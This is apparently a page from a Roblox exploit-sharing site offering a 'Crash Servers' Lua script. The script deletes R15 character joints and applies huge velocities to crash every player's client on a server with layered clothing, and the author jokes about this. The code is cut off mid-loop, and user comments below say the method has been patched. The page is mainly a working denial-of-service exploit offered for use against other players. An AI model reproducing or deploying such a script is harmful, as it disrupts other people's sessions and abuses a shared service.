
27.9k Views
141 Executions
Crash Servers
Universal Script 📌
XetzuScriptsPublished 10
5 years ago
Please login to perform these actions:Does it work?
No reports yetNo reports yet. Tried it? Be the first to say.
Also noticed:
Description
Private script I've been working on that crashes any server with R15 and layered clothing enabled. - This method can be laggy on your end and even hard-crash you sometimes due to heavy physics processing. - I've had this (1 of 3) scripts for a few days now, and it's already been reported by someone on hackerone so why not release it. - I was able to fix the self-crashing of your own client with the help of a suggestion cli made. - Gives everyone a cool fireworks show before their clients go kaboom!
local LP, Players = game:GetService('Players').LocalPlayer, game:GetService('Players')
local function GetLayeredAssets(Char)
local Assets, Char = {}, assert(typeof(Char) == 'Instance' and Char:IsA('Model'), 'invalid argument #1 to \'GetLayeredAssets\' (Instance [Character] expected, got: '..tostring(typeof(Char)..(tostring(typeof(Char) == 'Instance' and ', '..Char.ClassName or '')..')'))) and Char or nil
for _, v in next, Char:GetChildren() do
if v:IsA('Accessory') and v:FindFirstChild('Handle') and (v.Handle:FindFirstChild('SurfaceAppearance') or v.Handle:FindFirstChildOfClass('WrapLayer')) then
table.insert(Assets, v)
end
end
return Assets
end
if LP and LP.Character and LP.Character.Parent and LP.Character:FindFirstChildOfClass('Humanoid') then
local LC, Hum = LP.Character, LP.Character:FindFirstChildOfClass('Humanoid')
local LayeredAssets = LC and GetLayeredAssets(LC) or {}
local LFoot, RFoot = LP.Character:FindFirstChild('LeftFoot') and LP.Character.LeftFoot:FindFirstChild('LeftFoot') or nil, LP.Character:FindFirstChild('RightFoot') and LP.Character.RightFoot:FindFirstChild('RightFoot') or nil
local LeftAnkle, RightAnkle = LFoot and LFoot.Parent and LFoot.Parent:FindFirstChild('LeftAnkle'), RFoot and RFoot.Parent and RFoot.Parent:FindFirstChild('RightAnkle')
local RP, UpperTorso, LowerTorso, Waist = LC:FindFirstChild('HumanoidRootPart'), LC:FindFirstChild('UpperTorso'), LC:FindFirstChild('LowerTorso'), LC:FindFirstChild('Waist', true)
workspace.CurrentCamera.CameraSubject = RP
if #LayeredAssets > 0 and Hum.RigType == Enum.HumanoidRigType.R15 and LFoot and RFoot and (LeftAnkle and RightAnkle and LeftAnkle.Parent and RightAnkle.Parent) then
if Waist then
Waist:Destroy()
wait()
for _, v in next, {RP, UpperTorso, LowerTorso} do
v.Velocity = Vector3.new((v == RP and 9e9 or v == LowerTorso and -9e9), 9e9, (v == RP and 9e9 or v == UpperTorso and 9e9 or v == LowerTorso and -9e9))
v.CFrame = CFrame.new(v.CFrame * Vector3.new((v == RP and 9e9 or v == LowerTorso and -9e9), 9e9, (v == RP and 9e9 or v == UpperTorso and 9e9 or v == LowerTorso and -9e9)))
end
end
for _, v in next, {'LeftHand', 'RightHand'} do
if LC and LC.Parent then
local Object = LC:FindFirstChild(v)
if Object then









It got patched lol
pretty sure it got patched and released already
Got patched already lol